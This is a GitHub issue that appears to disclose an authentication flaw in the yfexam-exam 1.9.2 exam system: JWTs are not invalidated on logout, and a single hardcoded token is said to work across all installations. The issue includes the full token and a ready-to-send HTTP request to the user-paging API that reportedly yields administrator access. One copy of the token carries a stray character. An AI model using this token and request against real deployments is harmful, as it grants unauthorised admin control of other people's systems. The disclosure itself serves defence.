Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

YFexam-exam-1.9.2 has JWT defects #6

Open
LvZCh opened this issue Dec 22, 2024 · 0 comments
Open

YFexam-exam-1.9.2 has JWT defects #6

LvZCh opened this issue Dec 22, 2024 · 0 comments

Comments

@LvZCh
Copy link

LvZCh commented Dec 22, 2024

Source Code Developer: Beijing Yunfan Internet Technology Co., Ltd
Source code name:yfexam-exam
Source code version:1.9.2
Source code official website:https://www.jeedocm.com/?plan=githuby
Source code download link:https://github.com/qiutiandefeng/yfexam-exam/archive/refs/heads/main.zip

Vulnerability description:
Exiting login in src/main/java/com/yf/exam/modules/sys/user/controller/SysUserControl. java does not eliminate JWT, and this system JWT can be used universally. Any server using this system will be attacked. In the interface, change JWT to eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQ5NTQ2NjEsInVzZXJuYW1lIjoicGVyc29uIn0.6tEVOLvOYme17vn8p4UF2mTG2oxwtCPgHzgQ7Fxmgga4, and you can log in without logging in. Directly obtain administrator privileges for any system.

Code Audit:
Exiting login in src/main/java/com/yf/exam/modules/sys/user/controller/SysUserControlle.jva did not eliminate jwt
image

Vulnerability verification:
Currently not logged in
image
Directly send the following data packet, just change the host to your own IP and port, and JWT does not need to be modified

POST /exam/api/sys/user/paging HTTP/1.1
Host: 192.168.0.106:8101
Content-Type: application/json
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQ5NTQ2NjEsInVzZXJuYW1lIjoicGVyc29uIn0.6tEVOLvOYme17vn8p4UF2mTG2oxwtCPgHzgQ7Fxmga4
Content-Length: 41

{"current":1,"size":10,"params":{},"t":1}

You can directly use a fixed JWT (eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQ5NTQ2NjEsInVzZXJuYW1lIjoicGVyc29uIn0.6tEVOLvOYme17vn8p4UF2mTG2oxwtCPgHzgQ7Fxmga4) to call any interface of this system. Any website that uses this system will be attacked, causing great harm
image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant